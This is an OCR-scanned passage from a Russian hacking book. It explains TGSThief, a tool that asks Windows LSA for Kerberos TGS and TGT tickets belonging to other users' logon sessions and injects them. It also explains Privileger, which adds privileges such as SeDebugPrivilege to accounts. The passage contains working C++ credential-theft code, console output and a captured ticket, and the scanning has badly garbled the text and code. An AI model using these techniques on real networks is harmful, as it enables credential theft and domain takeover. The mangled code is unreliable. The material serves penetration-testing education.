microsoft.com/en-us/windows/win32/api/ntsecapi/nf-nts ecapilsalookupauthenticationpackage) получаем номер АР Kerberos.
Наконец у нас есть хендл,
LUID
и номер АР
Kerberos.
Пора ломать!
Для этого я написал отдельную функцию AskTgs (). Она принимает все эти данные.
В001 AskTgs(НANDLE
Сначала
hLsa, ULONG
готовим
две
LUID logonid, LPCWSTR szTarget, LUID originaLuid) {
АР,
структуры
-
КЕRВ- RETRIEVE- ткт- REQUEST
и
КЕRВ- RETRIEVE- ткт-
RESPONSE. Первую инициализируем значениями, которые я уже описывал.
pKerbRetrieveRequest;
PКERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse;
dwTarget = (USHORT) ((wcslen(szTarget) + 1) * sizeof(wchar_t));
szData = sizeof(КERВ_RETRIEVE_TKT_REQUEST) + dwТarget;
pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
pKerbRetrieveRequest->CacheOptions = КERВ_RETRIEVE_TICКET_DEFAULT;
pKerbRetrieveRequest->EncryptionType = КERВ_ETYPE_DEFAULT;
pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t);
pKerbRetrieveRequest->TargetName.MaximшnLength = dwTarget;
pKerbRetrieveRequest->Logonid = logonid;
pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE)pKerbRetrieveRequest +
PКERB_RETRIEVE_TКТ_REQUEST
sizeof(КERB_RETRIEVE_TKT_REQUEST));
RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest->
TargetName.MaximшnLength);
И вызываем
LSA:
NTSTATUS status = LsaCallAuthenticationPackage(hLsa, АР, pKerbRetrieveRequest, szData,
(PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
Теперь
LSA
обратится к КОС и получит новый тикет. Если мы сразу же попробуем
его извлечь, то он не будет валидным. Точнее, в нем не будет сессионного ключа,
и пользоваться им не получится.
Поэтому,
убедившись,
что
вызов
успешно
КЕRВ _RETRIEVE _тrсКЕт _As _КЕRВ _CRED и обращаемся к
совершен,
меняем
cacheOptions на
LSA.
if (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS)
pKerbRetrieveRequest->CacheOptions = КERВ_RETRIEVE_TICКET_AS_КERВ_CRED;
status = LsaCallAuthenticationPackage(hLsa, АР, pKerbRetrieveRequest, szData,
(PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
Глава
5.
Получаем билеты
TGT методом G/UDA
89
i f (status == STATUS_SUCCESS) {
if (packageStatus == STATUS_SUCCESS)
std::wcout
«
«
1 11 [+] Asking for TGS Success 11
«
std::endl;
« base64_encode (pKerbRetrieveResponse->
+] Ticket:
std:: cout
Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize)
11 [
11
<<
std::endl;
Билет будет лежать в поле Ticket.EncodedTicket. Предлагаю посмотреть, как это рабо
тает.
Представим, что во время пентеста мы сломали машину, на которую ходит поль
зователь CRINGE\petka. Запускаем
TGSThief (https://github.com/МzHmOffGSThiet)
5.6).
и
видим его сессию. Передаем номер его сессии (рис.
Z:\Share>.\TGSThief.exe
[+ ]
[ +]
[ +]
[ +]
[+]
[+]
[+]
Cllrrent User SID : S-1-5-21-3359195546-703283941-1907894624-500
CL1rrent Use~ : CRНIGE \Ад,,, инис тратор
SeDebugPrivilege EnaЫed
SelmpersonatePrivilege E naЬled
Current Us er SID: S-1-5-18
Cu rrent User: rн АUТНОRIТУ\СИСТЕНА
System Impersonation Success
[ ! ] I nde x : 0 , Logon ID: 0004490(, Llsername: CRINGE \ DC01$
[!] I nd e x : 1, Logon ID: 00027850, Usernan1e: NT 5Е RVIC Е \HSSQL$NIC ROSOF Т##ШD
[!] Index: ., Logon ID: 00040384, Us e rname: CRHJGE \ DC01$
[ ! ] Index : 3 , Logon ID: 0002бlд0, Usern ame: NT AUTHORITY\AHOHИI-IHЫЙ вход
[ ! ] Index: 4, Logon ID: 000483F9, Usernan1e: CRHIGE \ Ад,•IИНИС тратор
[ ! ] Index: 5, Logon ID: 0008294(, Username: CRHJGE \ DC01$
[ ! ] Index: б, Logon ID: 000003 Е 7, Use rn ame : CRНJGE\DC01$
[ ! ] Index: ,, Logon ID : 00032906, Usern aшe: CRINGE \ DC01$
[ ! ] Index: 8 , Logon ID : 0004054Е, Usern an1e: CRINGE\DC01$
[ ! ] I nd e x: 9 , Logon ID: 002В62В8, Use rn ame: Hindo,., l-\anager\Dl•Jl,\-2
[ ! ] Index: 10, Logon ID: 0026C3F0, Us e rname: CRINGE \ DC01$
о
r!l
TnrJpx: 11. 1 CJ Pnn т , AAA1At4R. ( !e;Prn,1mp:
[ ! ] Index: 12, Logon ID : 002В9(33 , Username:
l ! J lnaex:
[ ! ] Index :
[ ! ] Index:
[ ! ] Inde x:
[ ! ] Index:
[ ! ] Index:
[ ! ] Inde x :
~; [ ! ] Index:
13,
14,
15,
16,
17,
18,
19,
20,
Logon
Logon
Logon
Logon
Logon
Logon
Logon
Logon
ш:
ID :
10 :
ID :
ID:
ID:
ID:
ID :
i,Ji nrJmoJ r,1-1n;н:1pr\DHH-l
CRШGE \p et ka
us ername: r-11 AUIHUKllY\LOCAL SERVICE
002B6 2D4, Us e rname: Hindo,, Hanager\D\-11-1-2
000829В9, Username : CRHIGE \ DC01$
0000А6Е8, Us ername: \
002В9С4С, Us ername : CRШGE\petka
00010D59, Us ernan1e : l·iindoн Hanager\DHH-1
000003Е 4, Us er,name : CRНIGE \ DC01$
00082983, Username : CRINGE\DC01$
l:!1:H:11:!t!3t:,,
[?] En~er·t i'ndex of logon session: , 12
Рис.
Затем прописываем нужный
билет. И получаем его (рис.
SPN,
5.7).
5.6.
Указание сессии
т. е. службу, на которую нужно получить ТGS
У спех! Теперь можем ходить от лица CRINGE\petka на dcOl. cringe. laЬ.
Часть
90
Рис.
11.
5.7 . Успешный
Системное программирование для хакеров
инжект билета
Глава
Получаем билеты
5.
ТGТ-это
TGT методом GIUDA
TGS
Казалось бы, получение билета
TGS -
отличный результат! Но всегда хочется
большего, правда? Знаете ли вы, что билет
на службу
krbtgt?
91
TGT -
это фактически билет
Получается, что у нас есть ТGS-билет на
krbtgt,
TGS, но
krbtgt
а служба
позволяет выписывать другие ТGS-билеты. Вот и всё.
[ ♦]
[ ♦]
[ ♦]
[ ♦]
[ ♦]
[ ♦]
[ ♦]
Current User SIO: S-1-S-21-33S919S546- 703283941-1907894624-500
Cu1·1·ent User: CR INGЕ\Д.Д,-.1инистратор
SeDebugPr i \t i lege EnaЬled
Se Impe1•sonatePr i v i lege EnaЬled
Current Usep SID: S-1-5-18
Current User: NT AUTHORIТY\CИCTHIA
Systeni Impeгsonation Success
[!] Index : 0, Logon ID: 0004490(, U serпame : CRНJGE\DC01$
[!] Index: 1, Logon ID: 00027850, Userna me: NT 5Е RVI CE \fl55Ql $НICROSOF Т U#\-IID
[!] [ndex: 2, Logon ![): 00040384, Username: C RШGE I DC01$
[!] Index: 3, Logon ID: 000261А0, Userna me: rн АUТНОR!ТУ\АНОНИf\НЫЙ вход
[!j Index : 4, Logan ID: 000483f 9, Userna me: CRI NGE \Адr-1инистратор
[!] Index: 5 , logon ID: 0008294(, Usernan1e: CRHIGE\DC0 1$
[!] Index: 6, Logon ID: 000003[ 7, Use t·name: CRir/GE\DC01$
[!j Index: 7' Logon ID: 00082906, User·name: CRINGEIDC0I$
[!j Index: 8, Logon JD: 0004054[, Username: CRHJGF \DC01$
[!j Index: 9. Logon ID: 00286288, Use,·name: Hindow 1·1anaget'\DHH - 2
[!j Inde :c 10, logon ID: 0026( Зf 0, User·name: CRНJGf\OC01$
[!] .I11de)(; 11. 1ogon !О: 00010(48, Username: Hindo1,J H~nage,·\DHN · 1
[!j Iпde)(; 11, logon ID: 00289( 38, U<:.ePname: CRHJG[ \petka
[!j I11dec 1)' log on 10 : 00000 .Н ~, Usef'name: 1-11 AUHIORIТY\lOCAL SERV!Cf
[!j I11J~ :c 14, logo11 JD: 002862[)4, Use,·name: l-lindo1,J Han.1ge1•\DHH -2
[!j I1 нJ e :c 15, t.ogo11 ID: 00082989, U-:.er·name: CRlrJbl \ LK01$
[!] Iп d e·<: 16, l_ogor1 JD: 0000дЬl8, Use r·name: \
[!j Ir1de;c 17, logon ! D: 00289(4(, User·name: CR[NGE\petka
[!] Iпde:.< : 13, lot{OП ID: 00010DS9, Use,rna me: Hindot•J Hanager•\DHH
[!J I1·1dex : 19, lugon ID: 000003[4, Ose,r·na me: CRlf.JGf \DC01$
[!j Index : 20, logor1 ID: 0008208.!, Userna n1e: CR !IJGE\DC01$
[ ) fnter index of logon session: 12
{ ] Yol1°ve selected sessioп иith Logor1 ID : 002В9СЗ8
[ ] Logon Process Nanie: 2niQ78uG q7XsIRJ Jgy99BDUHcpбnD66Y•1CF1-JnjQdUR
[ +] Сш·гепt luid: 00048ЗF9
{ +] LsaRegisterlogonPPocess Success . Lsa Handle: 000002198E00DFF0
[ +] Kerbe,·os Package: 2
f )1
l=nti:>1•
C:::.DN·
krЬtgt/c1·inge . ]аЬ
L+ J ~"'•'1 ~,·Utg_t/(t:inge . lab Valida ted
[ + j lSA Handle, АР, lUID are valid
[ +] Ask ing fог TGS Success
,[ +] Т ic ket: doIEBDCCBOygAw!BBaEDAgEl-looID/ j CCA/phggP 2Ш !D8qADAgE FoQwbCkN5SUSHRSSI-IQUKiHzAdoAHCAQKhf jAUG1-1Zrc rnJ0Z3QbCkN!
Е hH ZrnC dvt I / kvXcVNXI-JGzOUT 3n rl 3aohZU0H7Xw4 UI-I/ / Ь / h l rnx FUniz nvSdGu 5 J] 1чF J I F phXHd S0xqrhynD4dl-\L i Рее f brnl В i 5+0 l Yf•IC CQNQHJВ Е npk n~
/•14 2 f 3 v +rnA 1 bhF k +Ох s Е l-rn4XllYUYk с vx t v j 08ТЬ t hh,шwz Се/ с l0E КУрС 6s Е hPRuGvIO С r8SHE GQwTbbGpRB85wVNa4AZnq 7уА Trnkyz 5 ♦ Ua ub80,,t быG,
Н i z DE4aH 3o,sOzevBQ l 950AUBhz К0х 9 / 1N/ Х Т9 svнrп 4 9 s+dveYE gба9Ш еЕ Q7 sk FВ]/ w+ev! 4hVfla+qPf 1-\mf r / f vwt +0tP I f 5 t I Sa jOs t CgQN 1rnB 2 / О
ыq xqQy I I оу Е Gk L 5 3 Т gB lqrp l SxNDVT s f008/ wТ lq Z ♦ 1 j / бk/ QP I К w+8RQabi Nf С l-lni 7ughgDZ 4qDHkf 81-10BRJ xf j SrrnpRrnj +f P4H sSF ,, aSRF 2POF egQi}
do84 f bnnX/ 0YbrDk у2 qF ZGa bc Z j SYwhenC 1k02 3 i 4 t 7 Zuc Т 5/ d9vs z б] у t ♦ 58R 13 5 L20ZOmXKrnks ko 7550+ Yxl-lyEQt SE l-lxUdC s 9qE 1 bkH/ KurE 34 v !У,
bXCA/kf / 4AP3yAE Z84Prn/8gK 7 2G5KRCRnsgi vKSPICpdtbr lydrHi] YHXЗH0n25kn/ zomUT a9kPuzGUquHl-lw2 l 7aNPX5wvQQAVjCTCkOSs 18qhwHwJ f,
Е UvtUl•JXc Z +k 2/VT с 4 rUa Т ♦ х j l·JAe zHl-lowl-lLeOPw 7Т fXb( sc а 1 aYonHUkw 1dHbQ9sPl-lqNo9e J uSGusHQP9] 2уСvб 7kE fQnpvUo4Hdf-1I HaoAHCAQC i gd ! Е
5 i Т F SoyG t SihDB sKQl J J Т kdf l kxBQq I5HBC gAw! ВАаЕ Jflдc ЬВХВ ldG thowc DBQBA4QAApREYDz I wflj 1-\хНТ Е 41-1TQyNzl-lyHqYRGA8yflD I zНТЕхОТ д,.,f•lj с
0Z 3QbCkNSSUSHRSSHQUI =
'[?] Inject Ticket? (Y/N)
!У
1[ +] Injected
1[ +] 5uccess
:z: \Share>klist
!текущиr,, идентификатороr-, входа является 0: 0x483f9
1
iкэшированные билеты:
;110>
1
клиент:
Сервер:
(1)
petka @ CRINGE. LAB
krЬtgt/CRINGE. lAB @ CRINGE . lAB
Тип шифрования KerЫicket:
флаги б илета 0х40е10000
->
AE5-256-CТS-Hf•1AC-SHA1 -96
forwardaЬle renewaЫe
Рис.
5.8.
initial pre authent name ca.nonicalize
Получение ТGТ-билета
Часть
92
11.
Системное программирование для хакеров
К такому выводу я пришел, когда писал дампер билетов (он описан в главе
казать проще простого: вновь запускаем
krbtgt/ cringe. lab (рис.
TGSThief,
9).
До
только в этот раз указываем
5.8).
Бинго! Мы можем запрашивать чужие билеты
TGT!
Таким образом, если при пен
тесте удалось захватить какой-тQ хост, куда ходят пользователи, то, используя
TGSThief,
получится раздобыть и
TGT
этих пользователей. Причем билеты
TGT
будут абсолютно свежие, новые, только что запрошенные.
Заключение
Теперь вы знаете, как злоупотреблять сессиями пользователей по-новому. Эта атака
в очередной раз подтверждает, что на системы нельзя ходить от лица администра
тора домена. В противном случае атакующий сможет захватить всю сеть в считан
ные минуты.
ГЛАВА
6
Управляем привилегиями
в
Windows
Привилегии в
Windows
играют очень важную роль, т. к. администратор имеет воз
можность предоставить специальные права пользователям для решения их задач.
В этой главе мы познакомимся с инструментом
Privileger,
который позволяет оты
скивать в системе учетные записи с определенными привилегиями и менять приви
легии у заданного аккаунта.
О работе с привилегиями я писал в главе
4,
но мы рассмотрели лишь обрывки кода,
которые, как оказалось, сложно было превратить в полноценный проект. Поэтому,
когда на очередном пентесте мне вновь потребовалось кодить все с нуля, я понял,
что без готового инструмента не обойтись. И сделал
Privileger (https://github.com/
МzНmO/Privileger), который, к моему удивлению, стал достаточно популярным.
В этой главе мы разберем принцип работы этого инструмента, а также пробежимся
по всем пяти режимам, которые позволяют:
□ добавить привилегии локальному аккаунту с помощью вызова лишь одной
функции. Раньше это можно бьшо сделать только через
GPO
и, если мне не из
меняет память, еще требовалась перезагрузка хоста, что не очень удобно;
□ запустить процесс, добавив в его токен конкретную привилегию;
□ удалить привилегию у аккаунта. Опять же раньше это выполнялось с помощью
GPO -
сейчас используется вызов функции;
□ обнаружить аккаунт с нужной привилегией на какой-нибудь машине;
□ обнаружить привилегии у аккаунта на какой-нибудь машине.
Добавляем привилегии аккаунту
Итак, все, как и в любом другом проекте на языке С, начинается с функции main (),
в которую прилетают все нужные параметры. После чего для обеспечения коррект
ного вывода кириллических (и иных) символов дергаем setlocale (), выводим пре
красный АSСII-баннер и приступаем к валидации входных данных.
94
Часть
11.
==
О)
Системное программирование для хакеров
int wmain(int argc, wchar_t* argv[]) {
setlocale {LC_ALL, '"');
ShowAwesomeBanner();
DWORD dwRC =
О,
dwV =
О;
if (argc != 4)
ShowHelp();
return
О;
switch {*argv[l]) {
case '1':
if (ValidateAccinfo(argv[2],
dwRC
=
InitModel{argv[2],
argv[З])
{
argv[З]);
break;
case '2' :
if (ValidatePathinfo(argv[2],
dwRC = InitMode2(argv[2],
О)
argv[З])
(
argv[З]);
break;
case '3':
if {ValidateAccinfo(argv[2],
dwRC = InitMode3(argv[2],
argv[З])
== 0)
argv[З]);
break;
case '4':
if (ValidatePriv(argv[З]))
dwRC
=
InitMode4(argv[2],
argv[З]);
else {
std::wcout « L"[-] ValidatePriv() Failed" « std::endl;
break;
case '5':
std: :wcout « L" [ 1] I 'm not аЫе to validate username and
the correct data." « std::endl;
Sleep{S00);
std: :wcout « L" [ ! ] Starting" « std:: endl;
if (InitModeS (argv[2],
argv[З])
!=
О)
(
std::wcout « L"[-] InitMode 5 Error" « std::endl;
break;
default:
std::wcout « L"[-] No such mode" « std::endl;
РС
name. Make sure you enter
Глава б. Управляем привилегиями в
return
Windows
95
О;
return dwRC;
Если требуется использовать первый режим работы, т. е. добавить привилегии ак
каунту, пользователь должен предоставить следующие входные данные:
□
1-
режим работы;
□ имя пользователя
-
кому навешивать привилегию;
□ программное имя привилегии
Программное имя привилегии
ваемое дружественное имя
SeDebugPrivilege,
Итак, обращаемся к
это само имя привилегии. Есть еще так назы
-
это
-
а дружественное
какую привилегию добавлять.
-
-
ее описание.
Например,
программное
имя
Отладка программ.
Privileger (рис. 6.1 ) .
. \ Privilegerx64.exe 1 Michael SeDebugPrivil ege
PS
C:\Useгs\Michael\Downloads>
1 Michael SeDebugPrivilege
.\Privilegerxбll.exe
1 -- \
(_)
(_) 1
1 1__ ) 1
___ 1 1
1 ___ / •__ 1 \ \ / / 1 1/ _ \/ _' 1/ _ \ , __ 1
1 1 1 1 1 I\ v /1 1 1 __; CI 1 __; 1
I_I I_I I_I \_! I_I_I\ ___ I\ __ , l\ ___ 1_1
__/ 1
1__ /
V 1.2
https://github . com/MzHmO
[+] User Michael found
(+] Privilege SeDebugPrivilege Found
[+] Validation Success
(+] ValidateAccinfo() success
[+] Initializing mode 1
[+] Target Account: Michael
[+] Privilege : SeDebugPrivilege
[+] ComputerName: WINPC
[+] LsaOpenPolicy() Success
[+] User SID: S-1-5-21-7181671181-5179Ч1511-111720Ц786-1002
[+] Adding SeDebugPrivilege Success
(+] Enu~erating Current Privs
Programmatic name : SelockMemoryPrivilege
Display Name: Блокировка стран,щ в памяти
Programmatic пате: SeSecurityPrivilege
Display Nanie : Управление аудитом и журналом
Prograпmatic
безопасности
name: SeDebugPrivilege
Display Nanie:
Отладка nрогра.,м
Рис.
6.1.
Успешное добавление привилегии
Я предусмотрел проверку на валидность имени пользователя, а также имени при
вилегии, чтобы предотвратить «очепятки» (рис.
функцией ValidateAcci nfo (),
граммное имя привилегии.
которая
6.2, 6.3).
принимает имя
Проверка реализуется
пользователя , а также про
Часть
96
PS C:\Users \Mi:chael \ Downloads>
-
Системное программирование для хакеров
.\Privilegerx6Ц.exe
l Michael SeDebug
(_) 1
(_)
-- \
//_
--- 1 1 --- -- _
1 1__ ) 1
1 __ _/ '--1 \ \ / / 1 1/ _ \/ _' I / _ \ '--1
1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1 1 __/ 1
1_1 1_1 1_1 \_/ 1_1_1\ --- 1\ __ , 1\ ___ 1_1
__ / 1
1__ _/
V
1. 2
https: / /github . com/MzHmO
[+) User Michael found
[-) Privil ege SeDebug may Ье incorrect
[-) ValidateAcclnfo() failed
PS C:\Users\Michael\Downloads>
Рис.
6.2.
Указание неверного имени привилегии
PS C:\Users\Michael\Downloads>
-
\
-
. \Privilegerx6Ц,exe
1 Miael SeDebugPr~vilege
(_) 1
(_)
___ 1 1 --- -- - --- - -1 , __ ) 1
1 ___ / , __ , \ \ / / 1 1/ _ \/' _' 1/ _ \ , __ 1
1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1 1 __/ 1
,_1 ,_1 \_/ ,_, _,, ___ ,, __ , ,, ___ 1_1
,_,
__/ 1
, __ _/
[-) Username may
Ье
V
1.2
https : //github . com/MzHmO
incorrect . LookupдccountName() Err: 1332
Рис.
6.3.
Неверное имя пользователя
DWORD ValidateAcclnfo(wchar_t* cAccName, wchar t* cPrivName) {
// validating username
DWORD sid_size = О;
PSID UserSid;
LPТSTR wSidStr = NULL;
DWORD domain size = О;
SID- NАМЕ- USE sid- use;
DWORD wow = LookupAccountName(NULL, cAccName, NULL, &sid_size, NULL, &domain size,
&sid_use);
DWORD dw = GetLastError();
if ( (wow == О) && ( (dw = 122) 11 (dw = О))) {
std::wcout « L"[+] User" « cAccName « L" found" « std::endl;
// validating Privilege name
if ( !ValidatePriv(cPrivName))
std: :wcout « L" [-] ValidateAcclnfo () failed" « std: :endl;
return 1;
Глава
6.
Управляем привилегиями в
97
Windows
else {
std::wcout << L"[+] ValidateAccinfo{) success" << std::endl;
return О;
else
std: : wcout « L" [- ] Usernarne may
Ье
incorrect. LookupAccountNarne {) Err: " « dw «
std: :endl;
return 1;
return 1;
Проверку имени пользователя я реализовал с помощью функции LookupAccountNarne ()
(https://leam.microsoft.com/en-us/windows/win32/api/winbase/nf-winbaselookupaccountnamea). Сама по себе она служит для получения SID (security
identifier) пользователя по его имени, но нам ничто не мешает использовать ее про
сто для проверки имени пользователя, ведь если компьютер не обнаружит пользо
вателя с таким именем, то и вызов функции приведет к ошибке.
Проверку программного имени привилегии я также вынес в отдельную функцию.
ValidatePriv(wchar t* cPrivNarne) {
LUID luid;
if (!LookupPrivilegeValue(NULL, cPrivNarne, &luid)) {
std: :wcout « L"[-] Privilege" << cPrivNarne << L" may
return FALSE;
В001
Ье
incorrect" « std::endl;
else {
std::wcout « L"[+] Privilege" « cPrivNarne « L" Found \n[+] Validation Success" «
std: :endl;
return TRUE;
Здесь алгоритм схож: дергаем LookupPrivilegeValue ()
(https://learn.microsoft.com/enus/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluea), если привилегия
есть - все окей, если нет - ошибка.
Убедившись, что предоставленные данные верны, инструмент вызывает
InitModel (),
которому также передает имя пользователя и имя привилегии. Внутри этой функ
ции мы получаем хендл на
LSA
текущего компьютера (т. к. работаем с привиле
гиями локального аккаунта) вызовом функции Getpolicy ().
DWORD InitModel(wchar_t* cAccNarne, wchar_t* cPrivNarne) {
std::wcout « L"[+] Initializing mode 1 \n [+] Target Account: "« cAccNarne « "\n [+]
Privilege: " « cPrivNarne « std: :endl;
LSA_НANDLE hPolicy;
if (Getpolicy(&hPolicy) != О) {
std: :wcout « L" [-] GetPolicy{) Error: " « std.: :endl;
Часть
98
11.
Системное программирование для хакеров
return 1;
AddUserPrivilege(hPolicy, cAccName, cPrivName, TRUE);
return О;
DWORD GetPolicy(PLSA_НANDLE LsaHandle) {
( о );
wchar_t cCompName[МAX_COMPUTERNAМE_LENGTH + 1]
DWORD size = sizeof{cCompName);
if (GetComputerNameW(cCompName, &size))
std::wcout « L" [+] ComputerName: "«·ccompName « std::endl;
else {
std: :wcout « L" [-] GetComputerNameW Error: " « GetLastError() « std: :endl;
LSA_OBJECT_ATTRIBUTES lsaOA = { О };
LSA_UNICODE_STRING lsastrComputer = { О };
lsaOA.Length = sizeof(lsaOA);
lsastrComputer. Length = (USHORT) (lstrlen (cCompName) * sizeof (WCНAR)};
lsastrComputer.MaximumLength = lsastrComputer.Length + sizeof(WCНAR};
lsastrComputer.Buffer = {PWSTR)&cCompName;
NTSTATUS ntStatus = LsaOpenPolicy{&lsastrComputer, &lsaOA, POLICY_ALL_ACCESS, LsaHandle);
ULONG lErr = LsaNtStatusToWinError(ntStatus);
if (lErr != ERROR_SUCCESS) {
std: :wcout « L" [-] LsaOpenPolicy() Error: " « lErr « std: :endl;
return 1;
else {
std: :wcout « L" [+] LsaOpenPolicy{) Success" « std: :endl;
return О;
return 1;
Получают
хендл
.на
политику
через
функцию
LsaopenPolicy
(https:/Лearn.
microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaopenpolicy). Един
ственная особенность работы с LSA состоит в том, что у нее свои коды ошибок,
которые просто через
GetLastError () не поймать. Нужно получать значение NTSTAТUS,
которое возвращает каждая функция, работающая с
LSA,
а затем передавать это
значение в LsaNtStatusToWinError () для преобразования в понятный человеческому
глазу код ошибки.
По коду ошибки можно понять, что сломалось,
документацию
codes--0-499-).
-
заглядывайте в официальную
(https:/Лearn.microsoft.com/ru-ru/windows/win32/debug/system-error
Глава
6.
Управляем привилегиями в
99
Windows
Если система выдала нам корректный хендл и мы не получили ERROR_ACCESS _DENIED,
переходим к навешиванию привилегии пользователю, к функции AddUserPrivilege ().
DWORD
AddUserPrivilege(LSA_НANDLE
hPolicy, LPWSTR wUsername, LPWSTR wPrivName,
ВOO1 bEnaЬle)
{
PSID UserSid;
DWORD sid size = О;
LPTSTR wSidStr = NULL;
DWORD domain size = О;
SID_NAМE_USE sid_use;
if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &domain_size, &sid_use)) (
UserSid = {PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE I МЕМ_СОММIТ, PAGE_READWRITE);
LPTSTR domain = NULL;
domain = (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof{WCНAR), MEM_RESERVE
MEM_COMMIT, PAGE_READWRITE);
LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain, &domain_size, &sid_use);
VirtualFree(domain, О, MEM_RELEASE);
ConvertSidToStringSid{UserSid, &wSidStr);
std::wcout « L" [+] User SID: "« wSidStr « std::endl;
LSA_UNICODE_STRING lsastrPrivs[l]
= ( О
);
lsastrPrivs[0] .Buffer = {PWSTR)wPrivName;
lsastrPrivs[0] .Length = lstrlen{lsastrPrivs[0] .Buffer) * sizeof(WCНAR);
lsastrPrivs[0] .MaximumLength = lsastrPrivs[0] .Length + sizeof(WCНAR);
if
(ЬЕnаЫе)
(
NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid, lsastrPrivs, 1);
ULONG lErr = LsaNtStatusToWinError(ntStatus);
if (lErr == ERROR_SUCCESS) (
std::wcout « L" [+] Adding" « wPrivName « L" Success" « std::endl;
std: :wcout « L" [+] Enumerating Current Privs" « std: :endl;
PrintTrusteePrivs(hPolicy, UserSid);
VirtualFree(UserSid, О, MEM_RELEASE);
return О;
else {
wprintf{L" [-] Error LsaAddAccountRights() %d", lErr);
return 1;
else (
ULONG lErr = LsaRemoveAccountRights(hPolicy, UserSid, FALSE, lsastrPrivs, 1);
if (lErr == ERROR_SUCCESS) (
std::wcout « L" [-] Removing" « wPrivName « L" Success" << std::endl;
std::wcout « L" [+] Enumerating Current Privs" « std::endl;
PrintTrusteePrivs(hPolicy, UserSid);
Часть
100
VirtualFree(UserSid,
return О;
О,
11.
Системное программирование для хакеров
МEМ_RELEASE);
else (
wprintf(L" [-] Error LsaRernoveAccountRights() %d", lErr);
return 1;
else
std: :wcout « L" [-] LookupAccountName () Error: " « GetLastError () « std: :endl;
return 1;
return 1;
Добавление привилегий пользователю происходит в несколько этапов.
1.
Обнаружение по имени пользователя его
2.
Генерация LSA_UNICODE _STRING (https://learn.microsoft.com/en-us/windows/win32/
api/lsalookup/ns-lsalookup-lsa_ unicode_string) с именем привилегии, которую
SID.
нужно добавить.
3.
Вызов LsaAddAccountRights ()
4.
Проверка успешности добавления привилегии.
(https://learn.microsoft.com/en-us/windows/win32/api/
ntsecapi/nf-ntsecapi-lsaaddaccountrights).
Обнаружить
функции
SID
пользователя
по
его
имени
можно
с
помощью упомянутой
(https://learn.microsoft.com/en-us/windows/win32/api/
winbase/nf-winbase-lookupaccountnamea). Ее особенность заключается в том, что
если в качестве буфера, куда должен упасть SID, передавать NULL, то функция
просто вернет требуемый размер буфера под размещение в нем SID. Получаем раз
мер, затем вьщеляем память под буфер и получаем SID.
LookupAccountName ()
if (!LookupAccountName(NULL, wUsername, NULL, &sid_size, NULL, &domain_size, &sid_use)) {
UserSid = (PSID)VirtualAlloc(NULL, sid_size, MEM_RESERVE MEM_COMMIT, PAGE_READWRITE);
LPTSTR domain = NULL;
domain ~ (LPTSTR)VirtualAlloc(NULL, domain_size * sizeof(WCНAR), MEM_RESERVE МЕМ_СОММIТ,
PAGE READWRITE);
LookupAccountName(NULL, wUsername, UserSid, &sid_size, domain, &domain_size, &sid use);
VirtualFree(domain, О, MEM_RELEASE);
ConvertSidToStringSid(UserSid, &wSidStr);
std::wcout « L" [+] User SID: "« wSidStr « std::endl;
I
I
Для преобразования структуры
SID в строку, содержащую SID, можно вызвать
(https://learn.microsoft.com/en-us/windows/win32/api/sddl/nfsddl-convertsidtostringsida ).
convertSidToStringSid 1)
Имя привилегии должно быть записано в структуру LSA_ UNICODE _STRING, выглядит вот
так.
Глава
6.
Управляем привилегиями в
Windows
101
typedef struct _LSA_UNICODE_STRING
USHORT Length;
USHORT MaximшnLength;
PWSTR Buffer;
LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
Можно, например, заполнять структуру ручками, как сделал я в проекте, либо ис
пользовать отдельную функцию, как в моем инструменте для инжекта тикетов
Kerberos
(https://github.com/МzНmO/articles/ЫoЬ/mainfficket%20Injector/Source.cpp#L 7).
LSA_UNICODE_STRING lsastrPrivs[l] = { О 1;
lsastrPrivs[0] .Buffer = (PWSTR)wPrivName;
lsastrPrivs[0] .Length = lstrlen(lsastrPrivs[0] .Buffer) * sizeof(WCНAR);
lsastrPrivs[0] .MaximшnLength = lsastrPrivs[0] .Length + sizeof(WCНARI;
Наконец, вызываем функцию LsaAddAccountRights (1 (https://learn.microsoft.com/en-us/
windows/win32/api/ntsecapi/nf-ntsecapi-lsaaddaccountrights).
if
(ЬЕnаЫе) {
NTSTATUS ntStatus = LsaAddAccountRights(hPolicy, UserSid, lsastrPrivs, 1);
ULONG lErr = LsaNtStatusToWinError(ntStatus);
if (lErr == ERROR_SUCCESSI {
std::wcout « L" [+] Adding "« wPrivName « L" Success" « std::endl;
std: :wcciut « L" [+] Enumerating Current Privs" « std: :endl;
PrintTrusteePrivs(hPolicy, UserSid);
VirtualFree(UserSid, О, МЕМ RELEASE);
return О;
else {
wprintf(L" [-] Error LsaAddAccountRights() %d", lErr);
return 1;
Условие if (ЬЕnаЫе I позволит использовать функцию AddUserPri vilege () не только для
добавления, но и для удаления привилегий из аккаунта ( эту операцию мы рассмот
рим чуть позже). Сама функция по добавлению привилегии особо ничего не требу
ет
-
хендл
LSA, SID
пользователя, имя привилегии, которые мы ей и передаем.
Если привилегия успешно добавлена, дергаем PrintTrusteePri vs (1
-
очередную
функцию, которая выведет все привилегии, назначенные конкретному аккаунту.
DWORD PrintTrusteePrivs(LSA_НANDLE hPolicy, PSID psid) {
BOCL fSuccess = FALSE;
WCНAR szTempPrivBuf[256];
WCНAR szPrivDispBuf[l024];
PLSA_UNICODE_STRING plsastrPrivs = NULL;
~try (
ULONG lCount = О;
NTSTATUS ntStatus = LsaEnumerateAccountRights(hPolicy, psid, &plsastrPrivs, &lCount);
Часть
102
11.
Системное программирование для хакеров
ULONG lErr = LsaNtStatusToWinError(ntStatus);
